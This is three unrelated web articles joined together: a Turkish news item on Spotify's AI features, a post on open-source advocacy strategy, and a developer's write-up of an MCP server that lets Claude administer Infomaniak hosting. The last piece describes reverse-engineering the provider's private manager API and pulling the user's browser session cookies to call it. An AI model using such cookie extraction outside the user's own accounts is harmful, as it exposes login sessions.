Spotify, yapay zekadan güç alan yeni sistemler duyurduÇevrimiçi müzik alanının lideri Spotify bugün ilk olarak “Studio by Spotify Labs” ile dikkat çekti. Önümüzdeki haftalarda ayrı bir masaüstü uygulaması olarak çıkacak sürüm, kullanıcıların yazılı komutlarla kişiselleştirilmiş günlük özetler, podcast’ler ve çalma listeleri oluşturmasına imkan tanıtacak. Yapay zeka içerikleri, Spotify dinleme geçmişinin yanı sıra bağlanan uygulamalardan alınan bilgilerden yararlanılarak oluşturulacak ve kişisel kütüphaneye kaydedilecek. Bugün buna ek olarak yapay zeka destekli “remiks” altyapısı da duyuruldu. Bunun için Universal Music Group (UMG) ile iş birliği gerçekleştiren şirket, kullanıcıların yalnızca yazılı komutlarla yeni parçalar oluşturmasına imkan tanıyacak. Sanatçılar isterlerse şarkılarının yapay zeka ile remiks’lenmesine izin vermeyecek, izin veren sanatçılara ise ekstra ödeme yapılacak. Bugün, podcast içerikleri hakkında entegre yapay zeka sistemine soru sorulmasına imkan tanıyan bir altyapıyı kullanıma sunmaya başlayan şirket, önümüzdeki aylarda müzik, sesli kitap ve podcast’ler için yapay zeka destekli çalma listesi (Prompted Playlist) özelliğinin kullanıma sunulacağını da aktarıyor.

Spotify, yapay zekadan güç alan yeni sistemler duyurdu yazısı ilk olarak Teknoloji haberleri – LOG üzerinde yayınlandı.

Why Your OSS Advocacy Strategy Probably Doesn’t Fit

A horizontal double-ended arrow in yellow, representing a spectrum. The left end is labeled “Critical, revenue-generating” and the right end is labeled “Independent.”

Open source is built on community.

That’s not a feel-good platitude. It’s baked into the structure of open source as a whole. The code lives in public. The roadmap is shaped by contributors. The project’s health depends on people outside your company showing up, engaging, and investing their time. Which means that, if your company is participating in open source in any capacity, community engagement isn’t just some nice-to-have. It’s a requirement for doing open source at all.

Every company that does open source needs some form of developer advocacy—whether they have a formal DevRel team or not. The question isn’t ’Should we engage with this community?’ It’s ’How should we engage, given our specific situation?’

And if you’re anything like most companies I’ve seen and worked with, you’ve probably looked at what other companies do in open source and tried to replicate their approach. I’m here to tell you that’s probably not working. And I think I know why.

The standard playbook doesn’t apply here

There’s a well-established developer relations playbook that works great for products: drive awareness, drive adoption, measure signups, measure conversion, grow usage. Profit. Rinse and repeat.

But open source isn’t a product. Open source is a living, breathing thing based on a community. And that community isn’t necessarily your funnel.

So if the standard product developer relations playbook doesn’t apply in this case, what does?

Looking back, I’ve actually spent quite a bit of my career wrestling with this question—at Bloomberg as a software engineer where I found myself advocating for Apache Kafka®, at Confluent as a developer advocate for both Kafka and Apache Flink®, and now at Snowflake where I lead Open Source Developer Relations, working across and setting strategies for more open source projects than I ever dreamed possible.

And honestly, the answer isn’t one playbook.

Instead, what you do is defined by your specific circumstances. Your company’s current situation and how they view a project dictates everything about how you should show up. And what works in one configuration often fails in another.

A diagnostic tool: four factors

Before I introduce the engagement models themselves (those come in the following posts of this series), I want to give you a diagnostic tool. In my experience, there are four main factors that determine where your company sits in its relationship to any given open source project.

As you read through these, think about your own organization and the open source projects you interact with.

1. Commercial dependency

How dependent is your business on the project?

A horizontal double-ended arrow in yellow, representing a spectrum. The left end is labeled “Critical, revenue-generating” and the right end is labeled “Independent.”

Is this open source project something your company’s revenue depends on? Are you building a product around it? Or could your business exist perfectly well without it?

It’s a popular model to build a company around an open source technology, offering a managed version of it—the Confluents or the ClickHouses of the world. That’s one end of the spectrum. But for so many other companies, their goal isn’t to monetize the open source technology directly. Instead, they’re building on top of it and using it somewhere internally. As such, they have a vested interest in that project continuing to exist and evolving in a healthy way. That’s the other end of the spectrum.

Where you sit here fundamentally changes what you need from the community and what the community expects from you.

2. Project and community maturity

How mature is the open source project and its community?

A horizontal double-ended arrow in light red, representing a spectrum. The left end is labeled “Nascent” and the right end is labeled “Established.”

Are you engaging with a project that has thousands of contributors, years of history, established governance, and strong Opinions™ about how things should work? Or are you starting something new where none of that exists yet?

This changes how you’ll engage with the technology and even how you’ll talk about it. With a mature project, your job is to figure out how this community operates and find your place in it—in the least disruptive way possible. With a new project, there’s nothing to discover. Instead, you have to design it and usher it along.

3. Level of ownership

What is your level of ownership over the project?

A horizontal arrow in blue spanning from “Low” on the left to “High” on the right, with four tick marks along its length. Each tick is labeled with an escalating ownership level in diagonal text: “End-user,” “Contributor,” “Steward / Maintainer,” and “Owner.”

Are you an end-user who happens to talk about the project externally? A regular contributor? A maintainer or PMC member shaping the project’s direction? Or did your company literally create this thing and donate it?

Each level comes with different credibility, different expectations from the community, and different responsibilities.

4. Strategic intent

What is your intent in engaging with this project?

Why is your company investing in engaging with this community? Is it to recruit engineers? To grow a product? To build reputation? To demonstrate commitment to a project because your customers are demanding it? … or something else entirely?

There’s no wrong answer here. But it’s critical that you answer this question honestly and that you know exactly why your company is choosing to get involved. Keep in mind that the community will figure it out whether you tell them or not.

Four factors, four archetypes

Four color-coded cards displayed side by side, each representing an open source engagement archetype. From left to right: “Adopter” on a light red background with a code-bracket icon on a computer, “Champion” on a green background with a flag icon, “Business” on an yellow background with a dollar-sign icon, and “Founder” on a blue background with a seedling icon.

Most of these factors—commercial dependency, project maturity, ownership level, strategic intent—are more of a spectrum, meaning there are infinite combinations. But, in my experience, there are four common engagement archetypes that companies tend to align with. Each has distinct tactics, metrics, and pitfalls.

The Adopter A company that uses an open source project and advocates for it externally. They’re not trying to run the project. They’re not selling something based on it. They’re users who have chosen to be vocal.

The Champion A company that serves as a major contributor to a project, and whose core business doesn’t necessarily depend on it. They’re investing heavily because their customers or their ecosystem strategy demands it.

The Business A company that has built a commercial offering around an open source project. Their revenue is directly tied to the project’s success, and every move they make is scrutinized.

The Founder A company that has open-sourced a new project and is building its community from zero. No existing users. No existing contributors. No established norms. Just code and a vision.

These aren’t rigid categories, but they’re common patterns. Some companies shift between them over time (more on that in the final post in this series). Some companies can be in multiple archetypes simultaneously for different projects—and that’s key.

The core thesis

What works in one archetype will not transfer cleanly to another. An Adopter measuring themselves like a Business will waste resources. A Founder engaging like a Champion will wonder why nobody shows up.

The playbook is non-transferrable. But the framework for diagnosing where you are and building your own playbook—that’s what this series is about.

What’s coming next

In the rest of this series, I’ll deep-dive into each archetype. You’ll learn the tactics that work, the metrics that matter (grounded in the CHAOSS project’s community health metrics), and the pitfalls to avoid:

  • Part 2: The Adopter Advocating for OSS you use but don’t own
  • Part 3: The Champion Investing in OSS your business doesn’t depend on
  • Part 4: The Business Building a company around open source
  • Part 5: The Founder Building an OSS community from zero
  • Part 6: Model Drift Why it all breaks when you switch contexts

Before you read on, think about one open source project your company engages with. Where does it sit on each of the four factors? Hold onto those as we go deeper into each model in the posts ahead.

Building an MCP server for a Swiss hosting provider (and what reverse-engineering its manager taught me)

I spent the last six weeks building an unofficial MCP server for Infomaniak — the Swiss hosting provider — that lets Claude (and any MCP client) drive web hosting, mail, kDrive, DNS, SSL certificates and AI tools from natural language. It’s MIT, on npm as infomaniak-mcp-agent, runs locally over stdio. This post walks through what I learned, what’s surprisingly hard, and what I’d do differently.

Repo: https://github.com/Mogacode-ma/infomaniak-mcp-agent

Why an MCP for Infomaniak specifically

I run 200+ websites for clients across Belgium, Luxembourg, France and Morocco. Most live on Infomaniak (managed cloud, shared hosting, mail, DNS). Day-to-day operations are: provision a new site, swap a DNS record, add a mailbox, request an SSL cert, audit which domains expire in the next 60 days.

These tasks are all doable from the manager UI, all doable via the public API — but only one or two clicks/calls each, and they don’t compose. Claude is good at composition: “audit all my DNS zones for missing DNSSEC, list every domain whose certificate expires in the next 30 days, and create a redirect from www.legacy-site.be to legacy-site.be on the production hosting.” That’s three API calls minimum, and the cognitive overhead of remembering the right endpoint each time is the friction I wanted to remove.

MCP is the right shape for this:

  • Tools are typed (Zod → JSON Schema → MCP)
  • Side effects are explicit (idempotent? destructive? confirmation required?)
  • The LLM doesn’t need to know HTTP — it sees a catalogue of named operations

The architecture in one paragraph

A single Node 18+ binary, ESM, stdio transport. 54 tools registered with the MCP SDK, each backed by a thin function calling api.infomaniak.com (Bearer token) or manager.infomaniak.com/proxy/... (cookie-authenticated). A token-bucket throttles to 60 req/min (Infomaniak’s hard cap). Confirmation tokens for destructive operations (TTL 60s by default). Per-tool tests, ESLint, Prettier, gitleaks, CodeQL, vitest with 35% coverage and climbing.

Install: npx -y infomaniak-mcp-agent. Config: one env var (INFOMANIAK_API_TOKEN), generated at https://manager.infomaniak.com/v3/api-token.

The first surprise: the public API is missing half of what the manager does

I started with the public Infomaniak API. Documented at https://developer.infomaniak.com, neat OpenAPI-ish spec, Bearer auth. Within a week I’d wrapped most read operations: list sites, list databases, list domains, list mailboxes.

Then I tried to create a site. The public POST endpoint returned 200 OK with a site ID. The site never appeared in the manager. No error. Just… nothing.

I diffed the network tab of the manager’s “Create site” wizard against what I was sending. The manager wasn’t calling the public API at all. It was calling manager.infomaniak.com/proxy/<int>/v3/api/proxypass_2/1/... with a different payload shape, and with two cookies (SASESSION + MANAGER-XSRF-TOKEN) instead of Bearer auth.

The “public API” silently ignores the operation. The “manager-private API” actually creates the site.

The same pattern holds for: database creation, FTP/SSH user creation, mailbox creation, redirection creation, password rotation. The public API is read-mostly. Real automation requires the manager-private surface.

This is documented honestly in the repo’s REVERSE-ENGINEERING.md. The cookie extraction is done with chrome-cookies-secure in memory only — nothing is written to disk.

The second surprise: Infomaniak’s rate limit is shared per token

60 req/min sounds generous until you write a workflow that iterates over 50 domains and makes 3 calls each. You hit the limit in 30 seconds and Infomaniak starts returning 429 with a 60-second cool-off.

I implemented a token-bucket in src/throttle/:

class TokenBucket {
  private tokens: number;
  private readonly capacity: number;
  private readonly refillPerMs: number;
  private lastRefill = Date.now();

  constructor(capacityPerMinute: number) {
    this.capacity = capacityPerMinute;
    this.tokens = capacityPerMinute;
    this.refillPerMs = capacityPerMinute / 60_000;
  }

  async acquire(): Promise<void> {
    while (this.tokens < 1) {
      this.refill();
      if (this.tokens < 1) await sleep(50);
    }
    this.tokens -= 1;
  }

  private refill(): void {
    const now = Date.now();
    this.tokens = Math.min(this.capacity, this.tokens + (now - this.lastRefill) * this.refillPerMs);
    this.lastRefill = now;
  }
}

Wrapped around every HTTP call. Workflows like audit_dns_zones now run reliably across 50+ domains, just slower (1 second per call instead of 100 ms — but they finish).

The third surprise: destructive operations need a confirmation dance

Claude is enthusiastic. Give it a tool called delete_site and a thread of context saying “let’s clean up old test sites”, and it will happily delete production.

The MCP spec has tool annotations (destructiveHint, idempotentHint) but they’re hints — they don’t enforce anything. I added a requireConfirmation wrapper:

// First call: returns a confirmation token, no destructive action yet.
delete_site({ host_id: 12345 })
// → { confirmation_token: "abc...", expires_in_seconds: 60, "what_will_happen": "Site 'legacy-corp.be' (123 files, 2 databases) will be deleted." }

// Second call (within 60s): actually deletes.
delete_site({ host_id: 12345, confirmation: "abc..." })
// → { deleted: true, host_id: 12345 }

The first call describes what’s going to happen and returns. The LLM has to ask the human (or itself) “are you sure?” before the second call. The token expires after 60s. Multiple in-flight tokens per resource are allowed.

This pattern saved me from production accidents twice already during dogfooding.

The fourth surprise: MCP JSON Schema strictness varies across clients

zod-to-json-schema produces JSON Schema Draft 7. Anthropic API and Claude Desktop are happy with that. The MCP Inspector tool? Stricter. Some clients use Draft 2020-12 and reject exclusiveMinimum: true (Draft 4 syntax) — they want exclusiveMinimum: <number> (Draft 6+).

A community contributor (@ruffzy) sent a PR fixing this by targeting jsonSchema7 explicitly in zodToJsonSchema config. I merged it and shipped 0.8.2 within a day. Open source working as intended.

What’s hard about a hosting-provider MCP that isn’t obvious

  1. Idempotency is the LLM’s responsibility, but the tool author has to surface enough information. The list_hostings tool returns is_locked: bool — if I hid that, the LLM would happily try operations on locked hostings and fail. Verbose output is fine; surprise failures aren’t.

  2. Pagination has to be invisible. Some Infomaniak endpoints page at 25 items, others at 50. The MCP tool always pages through everything and returns the merged list. Letting the LLM do pagination = it forgets, gets the first page only, and reasons over incomplete data.

  3. Error shapes must be normalized. Infomaniak’s public API returns {error: {code, description}}. The manager-private API returns either that or {"errors": [{"code", "description"}]} or raw HTML on auth failure. I wrote InfomaniakError to flatten everything into a consistent {kind, code, message, raw} so tools can handle errors uniformly.

  4. Logs go to stderr, not stdout. stdio transport mixes JSON-RPC and arbitrary writes on stdout, so any console.log corrupts the protocol. I use pino with stderr destination. If you build an MCP server, do this from day one.

  5. npx -y requires bin field + shebang in your built JS. tsup config:

banner: { js: "#!/usr/bin/env node" }

And in package.json:

"bin": { "infomaniak-mcp-agent": "dist/server.js" }

Missing either and npx -y either fails silently or runs the wrong entry point.

What I’d do differently next time

  • Cookie-based manager auth is a maintenance debt. The session cookies expire every few hours. Users have to re-open the manager in Chrome to refresh them. A long-lived service account would be cleaner if Infomaniak ever ships one.
  • Reverse-engineering needs a version pinning strategy. The manager-private endpoints change without notice. I’d add a smoke-test workflow that hits a known set of endpoints daily and opens an issue when something 404s.
  • Start with tests, not tools. I built the tools first and added tests later. Inverted, I’d have caught the rate-limit issue 3 weeks earlier.
  • Make the README the install path. Anyone who lands on the npm page should be able to copy 3 lines and have it running in Claude Desktop. That’s the win condition.

Try it

npx -y infomaniak-mcp-agent

You’ll need an Infomaniak API token (https://manager.infomaniak.com/v3/api-token) and to wire it into your MCP client. Full Claude Desktop / Claude Code config snippets in the repo README.

If you’re on Infomaniak and you hit a bug, open an issue with the exact tool call + response (sanitize tokens). I’ll usually patch within a day.

If you’re building an MCP server for your niche provider, the patterns above (token bucket, confirmation dance, error normalization, stderr-only logging) are reusable. The repo is MIT, fork it as a starting point.

⭐ if it saved you time. PRs welcome.